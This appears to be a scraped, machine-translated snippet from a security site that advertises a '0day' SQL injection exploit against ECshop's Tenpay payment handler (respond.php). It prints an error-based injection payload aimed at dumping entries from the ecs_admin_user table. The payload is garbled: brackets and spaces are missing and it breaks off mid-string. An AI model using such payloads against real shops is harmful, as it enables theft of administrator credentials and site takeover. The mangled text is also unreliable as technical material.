ECshop payment methods 0day manual injection EXP-vulnerability warning-the black bar safety net

ECshop payment methods 0day manual injection of the study The original EXP: respond. php? code=tenpay&attach=voucher&spbillno=1 andselect 1 fromselect count,concatselect select SELECT concat0x7e,0x27,count,0x27,0x7e FROM ecs. ecsadminuser from the informationschema. tables limit 0,1,floorrand02x...